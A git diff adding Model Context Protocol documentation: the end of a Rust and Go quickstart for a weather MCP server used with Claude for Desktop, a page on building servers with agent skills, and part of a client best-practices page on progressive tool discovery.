+ #[derive(Debug, Deserialize)]
+ struct ForecastResponse {
+ properties: ForecastProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastProperties {
+ periods: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastPeriod {
+ name: String,
+ temperature: i32,
+ #[serde(rename = "temperatureUnit")]
+ temperature_unit: String,
+ #[serde(rename = "windSpeed")]
+ wind_speed: String,
+ #[serde(rename = "windDirection")]
+ wind_direction: String,
+ #[serde(rename = "detailedForecast")]
+ detailed_forecast: String,
+ }
+ ```
+
+ Now define the request types that MCP clients will send:
+
+ ```rust theme={null}
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPForecastRequest {
+ latitude: f32,
+ longitude: f32,
+ }
+
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPAlertRequest {
+ state: String,
+ }
+ ```
+
+ ### Helper functions
+
+ Add helper functions for making API requests and formatting responses:
+
+ ```rust theme={null}
+ async fn make_nws_request(url: &str) -> Result {
+ let client = reqwest::Client::new();
+ let rsp = client
+ .get(url)
+ .header(reqwest::header::USER_AGENT, USER_AGENT)
+ .header(reqwest::header::ACCEPT, "application/geo+json")
+ .send()
+ .await?
+ .error_for_status()?;
+ Ok(rsp.json::().await?)
+ }
+
+ fn format_alert(feature: &AlertFeature) -> String {
+ let props = &feature.properties;
+ format!(
+ "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
+ props.event.as_deref().unwrap_or("Unknown"),
+ props.area_desc.as_deref().unwrap_or("Unknown"),
+ props.severity.as_deref().unwrap_or("Unknown"),
+ props
+ .description
+ .as_deref()
+ .unwrap_or("No description available"),
+ props
+ .instruction
+ .as_deref()
+ .unwrap_or("No specific instructions provided")
+ )
+ }
+
+ fn format_period(period: &ForecastPeriod) -> String {
+ format!(
+ "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
+ period.name,
+ period.temperature,
+ period.temperature_unit,
+ period.wind_speed,
+ period.wind_direction,
+ period.detailed_forecast
+ )
+ }
+ ```
+
+ ### Implementing the Weather server and tools
+
+ Now let's implement the main Weather server struct with the tool handlers:
+
+ ```rust theme={null}
+ pub struct Weather {
+ tool_router: ToolRouter,
+ }
+
+ #[tool_router]
+ impl Weather {
+ fn new() -> Self {
+ Self {
+ tool_router: Self::tool_router(),
+ }
+ }
+
+ #[tool(description = "Get weather alerts for a US state.")]
+ async fn get_alerts(
+ &self,
+ Parameters(MCPAlertRequest { state }): Parameters,
+ ) -> String {
+ let url = format!(
+ "{}/alerts/active/area/{}",
+ NWS_API_BASE,
+ state.to_uppercase()
+ );
+
+ match make_nws_request::(&url).await {
+ Ok(data) => {
+ if data.features.is_empty() {
+ "No active alerts for this state.".to_string()
+ } else {
+ data.features
+ .iter()
+ .map(format_alert)
+ .collect::>()
+ .join("\n---\n")
+ }
+ }
+ Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
+ }
+ }
+
+ #[tool(description = "Get weather forecast for a location.")]
+ async fn get_forecast(
+ &self,
+ Parameters(MCPForecastRequest {
+ latitude,
+ longitude,
+ }): Parameters,
+ ) -> String {
+ let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
+ let Ok(points_data) = make_nws_request::(&points_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let forecast_url = points_data.properties.forecast;
+
+ let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let periods = &forecast_data.properties.periods;
+ let forecast_summary: String = periods
+ .iter()
+ .take(5) // Next 5 periods only
+ .map(format_period)
+ .collect::>()
+ .join("\n---\n");
+ forecast_summary
+ }
+ }
+ ```
+
+ The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
+
+ ### Implementing the ServerHandler
+
+ Implement the `ServerHandler` trait to define server capabilities:
+
+ ```rust theme={null}
+ #[tool_handler]
+ impl ServerHandler for Weather {
+ fn get_info(&self) -> ServerInfo {
+ ServerInfo {
+ capabilities: ServerCapabilities::builder().enable_tools().build(),
+ ..Default::default()
+ }
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server with stdio transport:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ let transport = (tokio::io::stdin(), tokio::io::stdout());
+ let service = Weather::new().serve(transport).await?;
+ service.waiting().await?;
+ Ok(())
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ cargo build --release
+ ```
+
+ The compiled binary will be in `target/release/weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Go
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
+ * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
+
+ ### Quick Examples
+
+ ```go theme={null}
+ // ❌ Bad (STDIO)
+ fmt.Println("Processing request")
+
+ // ✅ Good (STDIO)
+ log.Println("Processing request") // defaults to stderr
+
+ // ✅ Good (STDIO)
+ fmt.Fprintln(os.Stderr, "Processing request")
+ ```
+
+ ### System requirements
+
+ * Go 1.24 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
+
+ Verify your Go installation:
+
+ ```bash theme={null}
+ go version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ touch main.go
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ new-item main.go
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Add these to the top of your `main.go`:
+
+ ```go theme={null}
+ package main
+
+ import (
+ "cmp"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "strings"
+
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ )
+
+ const (
+ NWSAPIBase = "https://api.weather.gov"
+ UserAgent = "weather-app/1.0"
+ )
+ ```
+
+ ### Data structures
+
+ Next, let's define the data structures used by our tools:
+
+ ```go theme={null}
+ type PointsResponse struct {
+ Properties struct {
+ Forecast string `json:"forecast"`
+ } `json:"properties"`
+ }
+
+ type ForecastResponse struct {
+ Properties struct {
+ Periods []ForecastPeriod `json:"periods"`
+ } `json:"properties"`
+ }
+
+ type ForecastPeriod struct {
+ Name string `json:"name"`
+ Temperature int `json:"temperature"`
+ TemperatureUnit string `json:"temperatureUnit"`
+ WindSpeed string `json:"windSpeed"`
+ WindDirection string `json:"windDirection"`
+ DetailedForecast string `json:"detailedForecast"`
+ }
+
+ type AlertsResponse struct {
+ Features []AlertFeature `json:"features"`
+ }
+
+ type AlertFeature struct {
+ Properties AlertProperties `json:"properties"`
+ }
+
+ type AlertProperties struct {
+ Event string `json:"event"`
+ AreaDesc string `json:"areaDesc"`
+ Severity string `json:"severity"`
+ Description string `json:"description"`
+ Instruction string `json:"instruction"`
+ }
+
+ type ForecastInput struct {
+ Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
+ Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
+ }
+
+ type AlertsInput struct {
+ State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
+ }
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```go theme={null}
+ func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create request: %w", err)
+ }
+
+ req.Header.Set("User-Agent", UserAgent)
+ req.Header.Set("Accept", "application/geo+json")
+
+ client := http.DefaultClient
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var result T
+ if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
+ return nil, fmt.Errorf("failed to decode response: %w", err)
+ }
+
+ return &result, nil
+ }
+
+ func formatAlert(alert AlertFeature) string {
+ props := alert.Properties
+ event := cmp.Or(props.Event, "Unknown")
+ areaDesc := cmp.Or(props.AreaDesc, "Unknown")
+ severity := cmp.Or(props.Severity, "Unknown")
+ description := cmp.Or(props.Description, "No description available")
+ instruction := cmp.Or(props.Instruction, "No specific instructions provided")
+
+ return fmt.Sprintf(`
+ Event: %s
+ Area: %s
+ Severity: %s
+ Description: %s
+ Instructions: %s
+ `, event, areaDesc, severity, description, instruction)
+ }
+
+ func formatPeriod(period ForecastPeriod) string {
+ return fmt.Sprintf(`
+ %s:
+ Temperature: %d°%s
+ Wind: %s %s
+ Forecast: %s
+ `, period.Name, period.Temperature, period.TemperatureUnit,
+ period.WindSpeed, period.WindDirection, period.DetailedForecast)
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```go theme={null}
+ func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Get points data
+ pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
+ pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
+ },
+ }, nil, nil
+ }
+
+ // Get forecast data
+ forecastURL := pointsData.Properties.Forecast
+ if forecastURL == "" {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast URL."},
+ },
+ }, nil, nil
+ }
+
+ forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
+ },
+ }, nil, nil
+ }
+
+ // Format the periods
+ periods := forecastData.Properties.Periods
+ if len(periods) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No forecast periods available."},
+ },
+ }, nil, nil
+ }
+
+ // Show next 5 periods
+ var forecasts []string
+ for i := range min(5, len(periods)) {
+ forecasts = append(forecasts, formatPeriod(periods[i]))
+ }
+
+ result := strings.Join(forecasts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+
+ func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Build alerts URL
+ stateCode := strings.ToUpper(input.State)
+ alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
+
+ alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
+ },
+ }, nil, nil
+ }
+
+ // Check if there are any alerts
+ if len(alertsData.Features) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No active alerts for this state."},
+ },
+ }, nil, nil
+ }
+
+ // Format alerts
+ var alerts []string
+ for _, feature := range alertsData.Features {
+ alerts = append(alerts, formatAlert(feature))
+ }
+
+ result := strings.Join(alerts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```go theme={null}
+ func main() {
+ // Create MCP server
+ server := mcp.NewServer(&mcp.Implementation{
+ Name: "weather",
+ Version: "1.0.0",
+ }, nil)
+
+ // Add get_forecast tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_forecast",
+ Description: "Get weather forecast for a location",
+ }, getForecast)
+
+ // Add get_alerts tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_alerts",
+ Description: "Get weather alerts for a US state",
+ }, getAlerts)
+
+ // Run server on stdio transport
+ if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
+ log.Fatal(err)
+ }
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ go build -o weather .
+ ```
+
+ The compiled binary will be in `./weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+### Test with commands
+
+Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
+
+
+
+
+
+After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
+
+
+
+
+
+If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
+
+If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
+
+* What's the weather in Sacramento?
+* What are the active weather alerts in Texas?
+
+
+
+
+
+
+
+
+
+
+ Since this is the US National Weather service, the queries will only work for US locations.
+
+
+## What's happening under the hood
+
+When you ask a question:
+
+1. The client sends your question to Claude
+2. Claude analyzes the available tools and decides which one(s) to use
+3. The client executes the chosen tool(s) through the MCP server
+4. The results are sent back to Claude
+5. Claude formulates a natural language response
+6. The response is displayed to you!
+
+## Troubleshooting
+
+
+
+ **Getting logs from Claude for Desktop**
+
+ Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones:
+
+ ```bash theme={null}
+ # Check Claude's logs for errors
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ **Server not showing up in Claude**
+
+ 1. Check your `claude_desktop_config.json` file syntax
+ 2. Make sure the path to your project is absolute and not relative
+ 3. Restart Claude for Desktop completely
+
+
+ To properly restart Claude for Desktop, you must fully quit the application:
+
+ * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
+ * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
+
+ Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
+
+
+ **Tool calls failing silently**
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude for Desktop
+
+ **None of this is working. What do I do?**
+
+ Please refer to our [debugging guide](/docs/2025-06-18/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ **Error: Failed to retrieve grid point data**
+
+ This usually means either:
+
+ 1. The coordinates are outside the US
+ 2. The NWS API is having issues
+ 3. You're being rate limited
+
+ Fix:
+
+ * Verify you're using US coordinates
+ * Add a small delay between requests
+ * Check the NWS API status page
+
+ **Error: No active alerts for \[STATE]**
+
+ This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
+
+
+
+
+ For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2025-06-18/tools/debugging)
+
+
+## Next steps
+
+
+
+ Learn how to build your own MCP client that can connect to your server
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
+
+ Learn how to effectively debug MCP servers and integrations
+
+
+
+ Use agent skills to guide AI coding assistants through server design
+
+
diff --git a/content/mcp/docs/2025-06-18/develop/build-with-agent-skills.md b/content/mcp/docs/2025-06-18/develop/build-with-agent-skills.md
new file mode 100644
index 000000000..fbcdea279
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/develop/build-with-agent-skills.md
@@ -0,0 +1,104 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build with Agent Skills
+
+> Use agent skills to guide AI coding assistants through MCP server design and implementation
+
+[Agent skills](https://agentskills.io/home) are portable instruction sets that
+give AI coding assistants domain knowledge for a task. For MCP development,
+they encode the design decisions (deployment model, tool patterns, auth) so
+your agent can interrogate your use case and scaffold a server that fits.
+
+## Available skills
+
+A reference set of MCP development skills is available as the
+[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
+It provides three composing skills:
+
+| Skill | Purpose |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
+| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
+| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
+| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
+
+Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
+material (auth flows, tool-design patterns, widget templates, manifest schemas)
+that the agent reads on demand. The files follow the open format and work with
+any agent that implements the standard. For example, to install them in Claude
+Code:
+
+```bash theme={null}
+/plugin marketplace add anthropics/claude-plugins-official
+/plugin install mcp-server-dev
+```
+
+For other agents, check your skills or extensions catalog, or clone the
+[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
+(`SKILL.md` plus `references/`) into your agent's skills location.
+
+## Start a build
+
+With the skills installed, ask your agent to help you build an MCP server. The
+entry skill triggers on natural-language requests, or you can invoke it
+directly using your agent's skill-invocation syntax.
+
+The skill runs a short discovery phase before writing any code. Expect
+questions about:
+
+* **What it connects to** — a cloud API, a local process, the filesystem, hardware
+* **Who will use it** — just you, your team, or anyone who installs it
+* **Action surface size** — a handful of operations versus wrapping a large API
+* **User interaction needs** — plain text results, structured input via
+ [elicitation](/specification/2025-06-18/client/elicitation), or rich UI widgets
+* **Upstream auth** — API keys, OAuth 2.0, or none
+
+If your opening message already covers these, the agent skips ahead to the
+recommendation.
+
+## Deployment paths
+
+Based on discovery, the skill recommends one of four paths and scaffolds
+accordingly:
+
+**Remote [Streamable HTTP](/specification/2025-06-18/basic/transports#streamable-http)**
+is the default for anything wrapping a cloud API. Zero install friction, one
+deployment serves all users, and OAuth flows work properly because the server
+can handle redirects and token storage. The reference skill includes scaffolds
+for Cloudflare Workers and portable Express/FastMCP setups.
+
+**[MCP apps](/extensions/apps/overview)** extend a server with interactive
+widgets rendered in chat, such as searchable pickers, charts, and live
+dashboards. The skill hands off to `build-mcp-app` when
+[elicitation's](/specification/2025-06-18/client/elicitation) flat-form constraints
+don't fit.
+
+**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
+local server together with its runtime as a single `.mcpb` archive, so users
+can install it without setting up Node or Python. Use this path when the server
+must touch the user's machine: reading local files, driving desktop apps, or
+talking to localhost services. The skill hands off to `build-mcpb`.
+
+**Local [stdio](/specification/2025-06-18/basic/transports#stdio)** remains available
+for prototyping, with a noted upgrade path to MCPB when you're ready to
+distribute.
+
+## Next steps
+
+Once your agent scaffolds the server, iterate on tool descriptions and error
+handling, then test and ship:
+
+
+
+ Test your server's tools, resources, and prompts interactively
+
+
+
+ Wire your server into an MCP client via local or remote configuration
+
+
+
+ Make your server discoverable in the MCP Registry
+
+
diff --git a/content/mcp/docs/2025-06-18/develop/clients/client-best-practices.md b/content/mcp/docs/2025-06-18/develop/clients/client-best-practices.md
new file mode 100644
index 000000000..90e724536
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/develop/clients/client-best-practices.md
@@ -0,0 +1,296 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Best Practices
+
+> Patterns for scaling MCP host applications across many servers and tools.
+
+As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
+
+Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
+
+## Progressive Tool Discovery
+
+Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
+
+
+
+Progressive discovery avoids this:
+
+* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
+* The host provides a lightweight `search_tools` meta-tool to the model.
+* The host loads full definitions into context only as needed.
+
+### When to Use Progressive Discovery
+
+Progressive discovery is best used when tool definitions take large parts of the context window. For a small
+set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
+Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
+
+* Implement a threshold as a percentage of the context window. For example, 1%-5%.
+* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
+
+### Choosing a Discovery Strategy
+
+Once the model invokes the `search_tools` tool, we need to choose a search strategy:
+
+* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
+* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
+* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
+* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
+ different strategies depending on use-case or query.
+
+Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
+
+The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
+
+### Using Progressive Discovery
+
+One common implementation for progressive discovery uses a search-based three-layer approach:
+
+**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
+
+```typescript theme={null}
+// The model calls a lightweight search tool
+search_tools({ query: "update salesforce record" })
+
+// Returns concise matches: names and one-line descriptions only
+→ [
+ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
+ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
+ ]
+```
+
+**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only.
+
+```typescript theme={null}
+// The model inspects only the tool it needs
+get_tool_details({ name: "salesforce_updateRecord" });
+```
+
+This returns the complete schema for a single tool:
+
+```json theme={null}
+{
+ "name": "salesforce_updateRecord",
+ "description": "Updates a record in Salesforce",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "objectType": {
+ "type": "string",
+ "description": "Salesforce object type"
+ },
+ "recordId": { "type": "string", "description": "Record ID to update" },
+ "data": { "type": "object", "description": "Fields to update" }
+ },
+ "required": ["objectType", "recordId", "data"]
+ }
+}
+```
+
+**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
+
+This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
+
+### Dynamic Server Management
+
+Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
+
+1. Maintain a registry of available servers and their high-level descriptions.
+2. Connect to a server only when the model determines it needs that server's capabilities.
+3. Disconnect servers that are no longer relevant to the current task, freeing context.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Model
+ participant Host
+ participant Registry
+ participant Server
+
+ Model->>Host: search_available_servers("CRM")
+ Host->>Registry: Query available servers
+ Registry-->>Host: Salesforce server (not connected)
+ Host-->>Model: Salesforce server available
+
+ Model->>Host: enable_server("salesforce")
+ Host->>Server: Initialize connection
+ Server-->>Host: Server capabilities + tools
+ Host-->>Model: Salesforce server connected
+
+ Note over Model: Task complete
+
+ Model->>Host: disable_server("salesforce")
+ Host->>Server: Close connection
+ Host-->>Model: Server disconnected, context freed
+```
+
+This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/2025-06-18/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
+
+### Implementation Guidelines
+
+When implementing progressive discovery:
+
+| Guideline | Rationale |
+| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
